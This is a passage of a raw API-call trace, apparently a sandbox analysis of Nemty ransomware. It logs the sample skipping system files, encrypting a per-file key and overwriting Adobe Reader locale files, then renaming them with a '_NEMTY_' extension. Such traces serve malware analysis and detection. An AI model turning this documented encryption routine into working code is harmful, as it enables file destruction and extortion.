[0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.752] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.ESP", cAlternateFileName="")) returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2=".") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="..") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="...") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="windows") returned -1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="rsa") returned -1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="NTDETECT.COM") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="ntldr") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="MSDOS.SYS") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="IO.SYS") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="boot.ini") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="boot.ini") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="ntuser.dat") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="desktop.ini") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="CONFIG.SYS") returned 1 [0175.752] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="RECYCLER") returned -1 [0175.753] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.753] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="bootmgr") returned 1 [0175.753] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="programdata") returned -1 [0175.753] lstrcmpiW (lpString1="PPKLITE.ESP", lpString2="appdata") returned 1 [0175.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.753] Sleep (dwMilliseconds=0x5) [0175.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c68e8d0, dwHighDateTime=0x1d561e8)) [0175.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c68e8d0, dwHighDateTime=0x1d561e8)) [0175.768] GetLastError () returned 0x0 [0175.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.768] GetLastError () returned 0x0 [0175.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.768] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.768] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.768] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.768] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Dm14QO4yqV+BzXdXba1euC8LMonw+FiM00pKfVVoSQKLbjD+oRh+2a1KalLRbyg1\r\nKpjevEaGHnfxyo+L3+3cxr0y7b+pMGisDkMpZRO3Qmnn+VzX+BjHFHzevgBNoHVF\r\ntSPdothCTj9hDhQb3KX3UAHaj2+m8LlLOcfyAc0bSpZowgBUSYTCxbAhirIr8xXH\r\nDsR79WaP+xgC8gm2XTbS3g8MqNnm75YyrK8VowVmVy2M2OkpOET0lHu/kjZDo/GZ\r\n6Wt1LC9qfxOzbP98VCOTYpnBT5BC66umVijO2F30yAv58Pi38gr1JFB0Q5h9qi7Q\r\nWdXGkiS2QQWP7MHLdcR+kA==\r\n", pcchString=0x653e5dc) returned 1 [0175.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ppklite.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.769] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=539648) returned 1 [0175.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.769] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.769] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.778] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.778] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.779] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=539648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83c00 [0175.779] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.780] CloseHandle (hObject=0x2e8) returned 1 [0175.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.781] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ppklite.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ppklite.esp._nemty_kgobjgd_")) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.781] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x156a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.ESP", cAlternateFileName="")) returned 1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2=".") returned 1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="..") returned 1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="...") returned 1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="windows") returned -1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="rsa") returned -1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="NTDETECT.COM") returned 1 [0175.781] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="ntldr") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="MSDOS.SYS") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="IO.SYS") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="boot.ini") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="boot.ini") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="ntuser.dat") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="desktop.ini") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="CONFIG.SYS") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="RECYCLER") returned -1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="bootmgr") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="programdata") returned 1 [0175.782] lstrcmpiW (lpString1="RdLang32.ESP", lpString2="appdata") returned 1 [0175.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.782] Sleep (dwMilliseconds=0x5) [0175.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c6dab90, dwHighDateTime=0x1d561e8)) [0175.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c6dab90, dwHighDateTime=0x1d561e8)) [0175.794] GetLastError () returned 0x0 [0175.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.794] GetLastError () returned 0x0 [0175.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.794] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.794] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.795] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.795] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="rtKj/rb0WMbjqYyGN/0JiR2bUJfvvVJ15VRAzLxsVRKS5wrbaqTYHbDhi1qEhi/T\r\nXYJnAFdc8mm/tjhM7GozjS318Nc/meaYO3mkT/gSU3oRY8Uz9HnYMUnTwETyF+Fw\r\nfxNW/EtF2I7pFFfCc8/Y0IoNPW8vulXx2Bop6bTSeXa0Y+0zlme6PhgCyZYbHLVW\r\nM1BKVN3x7CgBMKqSIbcxNDNwI+qsgae/X7XeA9NKzSDpJGBa3NFZ5l0vZlyCQiet\r\nIIfZxWDjhNlH1FkZomjWy3ySt1hjQ9DJSZxoazZuGsbDyfRwukvTdZI+crFxuO90\r\no8u+6yo4ovW2MtaqD3I2Zw==\r\n", pcchString=0x653e5dc) returned 1 [0175.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\rdlang32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.795] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1403392) returned 1 [0175.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.795] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.795] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.804] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.805] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.805] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1403392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x156a00 [0175.805] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.806] CloseHandle (hObject=0x2e8) returned 1 [0175.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 